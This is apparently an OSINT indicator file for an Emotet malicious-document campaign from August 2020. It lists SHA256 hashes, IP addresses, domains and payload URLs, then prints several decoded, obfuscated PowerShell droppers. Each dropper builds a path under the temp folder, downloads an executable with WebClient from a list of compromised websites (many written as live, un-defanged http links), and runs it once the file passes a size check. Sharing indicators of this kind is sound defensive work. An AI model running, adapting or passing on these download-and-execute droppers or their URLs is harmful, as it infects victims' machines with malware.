Emotet_Doc_out_2020-08-28_14_11.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
a26979566e772499fb1b27abbe9f67dff3714317404919d60d103f0f77a282d6
39e0b7d58c5ea9fb42853be5f6059664a73351d4088f5cf904059cb5c0d5792d
13da78d90cace28cd0e40dbd890ee0a9213761726b36feaae5f25868b88b9201
dc2d59b6d6f3b4b3a4e9cb58a2b1d1122b9c82595b6982ebec946a1b773d3465
7b6977d2fea5ace224c2e46488cf144b41a82f88c0d6d7849472cba5bb54eecd
71d0b29169b4469677de459aade03a71c39d5a47a08ab4b14d70c490242a0aef
48cb7576d94e6ee4a39187a0a13247236bf51584aac73f5501728b57528d7732
bc91d23ce538ccd2b6c67c96f1bf75feaef826eb23f47dfab14649052bbd3165
7e0d6fc8bc7a69d5e27e2130c83b434512af52a5337145098c2426f62abf97ee
f0f0ab7a04453d0254724613cfca62b5ec613b5af5b11183af648ad8a558a47c
00dbd35594b633c02429ab2154dab2e2b19e93caa9322d5ef46b2c730d6af123
4501625ec57082ebf3bd6e4519e4745f2e8924205d32d0fd65643fd5e4e70560
fefb4b26cd60a6a32443bc4fcecbf0fabe2d45b4011979c39c26e60d61c187e2
eaec53953f36479ef2776996838d45e6dd7a98b8dde7f3eb8677a25c1f0aff4e
53ca0c4e18ad39fc250012d252d2b39dfac31465468a46724671c83ccd705684
bfb6bc17a286a8384b58bd91f23b31bdd4fdd2e6cb6d49d88a9c2ec4bebc0367
d15d207c796247cb72e865fb89b2d86126c3ae9e3f7f84d6d799a5c179fee17f
697931f83507d2cbc800d1964f6e1fe4a5b31dd3124e20063cb846b4a8181020
6f402d6a1ae39cbffce6798f66c62526f5ac690890ce757aff6a62ebd8b28f75
6e90df31ca22290bcfbe1534826b71d5f71962a9c1841911be1bfae3fc033d39
642f0b1333a6ccce34906af2c3332ee52c9580f7b91ce7e4fb658e0915b43e73
849e307244b485130d232a6fc0ff55cb46da7d823229add05f38b37b74139dbc
a59b3c19d94cafa4727961935cd67822f7b56091c717655d5434ef0557a4db9e
1bc249592e45013a81ff3b00f813a130bd9dcc3516f42c62f68fdf2a00e9d1c8
ac73f9f11dd4a53f4040102e8d29e4be710b31446d7dacecc25487ba026f9687
fe34bdcde2c002384920efcc7c300ec4602d21e390080f66bc65d153474861e9
aedf26359f750998680ebc8f456346fbba9646c7c181172fb85cdfcd12ca49a3
61a254a1ccf8c1e45e41d85d4a0e180cce7a34fee50ca518cc9f2738bd965cef
f35f09ee31dc9ba4c3d871882fadeeb10ed716f5a87be56e6129b111b6e5e34a
a03a331036791b2d25681114c722041029d9e995c684190654e5f664efe761a0
9586e5334637e7ac41a3b05d4f234fcf0aff6b0038fc9c39f52c3930aa3bb3d2
fddd0a201073195a7eef27f0a0a348046963e9c94710f2fba3009d484d7f9799
8a2ccbf2fd45902471ea5dcc116d258ca0ff53b4e7499fe76f00349f029d0570
2b98b52a32ef0ce156c7592686e4a0a7805eabd9243e9b3affa40c0adcd4abfd
97fc93a5738efedd6aa35cf562ccf457f5fd82500e9c2a55dee8184a7db558bf
56fb6984a9ed01d86453cc0169de84228a233ed18df4725be0c6bff8af193d2b
cf44ca167e53d433f4e6be9f18fa798d5a633513666a1560fd7744831f3df64a
5fcecf8fdfc590ef687d6590209ea3c2ea0ad746b5f4746e537cd64813fce05e


IPs:
104.149.216.158
104.28.3.87
107.189.1.87
119.76.191.158
138.128.167.226
150.95.212.229
162.144.90.127
174.138.184.34
175.45.184.161
18.191.77.34
185.223.95.54
192.145.232.223
192.185.136.238
195.8.206.151
198.12.226.9
198.20.120.146
198.71.233.214
207.210.229.77
209.141.38.41
212.83.171.80
213.128.76.163
213.202.225.111
217.172.77.106
23.29.122.195
46.183.10.79
47.240.49.225
51.195.76.205
67.23.226.189
67.23.254.6
68.171.208.146
68.183.129.120
68.66.248.51
78.142.208.117
97.79.238.200



URLs:
hxxp://pizzaherbs.com.pk/pjqbq/XnPgtdPPN/."S`pLIT"[char]42;
hxxp://pemnas.ub.ac.id/wp-content/reUfk5i84877332/."spL`iT"[char]42;
hxxps://samairafashion.com/t1l6y9b/H/


Domains:
pizzaherbs.com.pk
pemnas.ub.ac.id
samairafashion.com


Decoded Base64 Powershell:
$Ib9j0bx=Mlhm11j;
&new-item $ENv:temp\WorD\2019\ -itemtype DiRECtORy;
[Net.ServicePointManager]::"sE`curIT`ypR`OT`oCoL" = tls12, tls11, tls;
$Mrhedcz = N3tnr9z;
$Zrwrsgl=Ffdppmd;
$O1pr73r=$env:tempXiqwordXiq2019Xiq."REpl`AcE"Xiq,\$Mrhedcz.exe;
$B00vvel=F8wmum7;
$Rd5cc8p=.new-object neT.WeBcLiENt;
$Upsd9zl=http://somosdrucken.com/upload/GGQL96W/
http://www.vedigitize.com/wp-includes/l9K6YJ/
hxxp://www.sosyalben.org/hpKTnb/
http://www.sutomoresmestaj.net/menu/E/
hxxp://www.traveltoharamain.com/cgi-bin/b/
http://www.thinkdesign4u.com/css/Rtc1/
https://www.mwk-bionik.de/fileadmin/vOJ/."Sp`lit"[char]42;
$J9kspg0=Z2evx57;
foreach$N8rpqnv in $Upsd9zl{try{$Rd5cc8p."dOw`NlOA`dfilE"$N8rpqnv, $O1pr73r;
$Rals0ep=E7jwv_7;
If .Get-Item $O1pr73r."lE`NGth" -ge 37564 {.Invoke-Item$O1pr73r;
$Sbrbwd8=Rv5_1eo;
break;
$Lyubnpj=Lmt9m2_}}catch{}}$Gl84ofb=Krltv6p$Pdv2n9h=Exz29i5;
&new-item $EnV:temp\WORd\2019\ -itemtype dIrectoRY;
[Net.ServicePointManager]::"SEc`UrItYpR`oT`O`cOL" = tls12, tls11, tls;
$Bjb89vy = Srbah3eyt;
$Fem0spn=Sm1_8fv;
$B32j1og=$env:temp{0}word{0}2019{0}-f [cHAR]92$Bjb89vy.exe;
$Bdzq85q=Erty15_;
$Dq2e40a=&new-object NeT.weBcLIEnT;
$Bzrjon6=hxxp://solution.seeedstudio.com/tag/FNLFibbOyHa/
https://dangkyinternetviettel.shop/wp-admin/anSiIxw/
https://firstresponsecpr.com/alfacgiapi/hNBmlles94w163/
http://literadiocebu.com/vhvjt/aycx52bqm330139/
hxxp://latestmoviesbox.com/wp-includes/uwap2390/
http://arya-co.com/wp-includes/lIaWADd/
hxxp://pizzaherbs.com.pk/pjqbq/XnPgtdPPN/."S`pLIT"[char]42;
$F21c0ie=Jlsrd1u;
foreach$Aaulql2 in $Bzrjon6{try{$Dq2e40a."dOWNLO`Ad`Fi`LE"$Aaulql2, $B32j1og;
$L31a_d1=Re3b818;
If .Get-Item $B32j1og."LE`NgTH" -ge 37915 {.Invoke-Item$B32j1og;
$U3fpsr5=Lcwl0er;
break;
$Qi0d09e=Jo5rcoy}}catch{}}$Pek0or8=Xbuaeb2$U4kvfam=Fnf34vb;
.new-item $env:TeMP\WOrd\2019\ -itemtype diRecToRy;
[Net.ServicePointManager]::"s`eC`UriTYprOt`O`COL" = tls12, tls11, tls;
$Yola4il = K073c59;
$Nrlfpib=Dgwe3vq;
$T663e0g=$env:tempf3cwordf3c2019f3c."reP`LaCE"[CHaR]102[CHaR]51[CHaR]99,\$Yola4il.exe;
$Nju34o0=I9w6nt5;
$Lvuww9v=&new-object neT.WEbclIeNt;
$Zyjjt1i=http://www.novachem.com.tr/wp-includes/file/HDSTwTon/
hxxp://hdfilmkurdu.tk/fwecj/w5ghXyxtzp63449/
http://retrocycle.cc/wp-content/Ulgocr0611/
https://pc-a.co.th/wp-admin/3cu5a279445382/
hxxps://novavitta.com.br/site/sdxrk4616/
http://miniessay.net/wp-includes/YhhuqdBFmjcZ/
hxxp://pemnas.ub.ac.id/wp-content/reUfk5i84877332/."spL`iT"[char]42;
$Widyzhh=Icxx09v;
foreach$Iqco9cg in $Zyjjt1i{try{$Lvuww9v."dOW`Nlo`AdFIle"$Iqco9cg, $T663e0g;
$Nfk5jgj=N04rwg1;
If .Get-Item $T663e0g."lEN`gTH" -ge 32061 {&Invoke-Item$T663e0g;
$Qjus4bl=Oq12mpp;
break;
$Umija11=Ze2o1of}}catch{}}$Aklzbm1=Y311tng$Y_s32aa=Jbqh1ha;
.new-item $eNV:TeMP\woRd\2019\ -itemtype dIREcTORy;
[Net.ServicePointManager]::"Securit`Y`p`ROtOCOl" = tls12, tls11, tls;
$Ygo65da = Tvq1013_e;
$Hn9_70t=Tqz__p_;
$Lalrdoz=$env:temp{0}word{0}2019{0}  -f  [Char]92$Ygo65da.exe;
$Cc0rv2f=Cixkihh;
$Atm81jh=&new-object NEt.WebcliENT;
$K4tjtl5=https://speedypush.com/wp-content/wLd1aX/
hxxp://ain.ummahhost.com/wp-includes/WxONU/
hxxps://samairafashion.com/t1l6y9b/H/
http://dwebcreativos.com/cgi-bin/7/
http://tiendapablus.net/cgi-bin/Z/
https://tutyusa.com/wp-admin/fU8810j/
http://opurno.com/wp-admin/6uGPi/."S`PlIT"[char]42;
$Rt1y7pf=R6qve3v;
foreach$Bubzqh3 in $K4tjtl5{try{$Atm81jh."download`FI`le"$Bubzqh3, $Lalrdoz;
$Sqx1bxx=Fn7yljx;
If &Get-Item $Lalrdoz."LenG`Th" -ge 31022 {&Invoke-Item$Lalrdoz;
$Emrzmxz=M52lvpm;
break;
$Pu3vsrb=Epttsgp}}catch{}}$Xm9pemo=Y4u58jy$Ytmj_hl=Aqn9d5s;
&new-item $Env:TEmp\wOrD\2019\ -itemtype DIRectoRy;
[Net.ServicePointManager]::"SecU`R`I`TYpRoTO`CoL" = tls12, tls11, tls;
$Njqzsy9 = Bpvuyyev;
$B75zbyv=O_hxkba;
$Fhe6yp_=$env:tempDxOwordDxO2019DxO."R`EPLacE"DxO,\$Njqzsy9.exe;
$L6icbm1=Vxcco9k;
$Pvq423t=&new-object nET.WEBClIent;
$Zwsodf2=hxxp://thirumarantech.com/Vallivilas/attach/zhT/
hxxp://www.e-ido.com/Jacinta/UlsoWIDCQeCl/
hxxp://invoice.ae/cuhqw/
hxxps://www.infoquick.co.uk/repairs_demo/flhNywUb/
http://iowawebhosting.com/wp-content/file/MJaXnuo/
hxxp://kittstr.com/crackerbox/attach/FIWw/
hxxp://jason.net.br/app/js/jquery/font-awesome-4.5.0/r635473/."SP`lit"[char]42;
$Tx8lr00=Umu6l04;
foreach$Guf82_t in $Zwsodf2{try{$Pvq423t."Dow`Nl`oadF`ILE"$Guf82_t, $Fhe6yp_;
$Pxh58tv=Ec6pvsi;
If &Get-Item $Fhe6yp_."L`eNgtH" -ge 31865 {&Invoke-Item$Fhe6yp_;
$U7xfzpr=Lk146r7;
break;
$Ss32rtj=Efpeuhk}}catch{}}$Yesdfj7=S9qi79l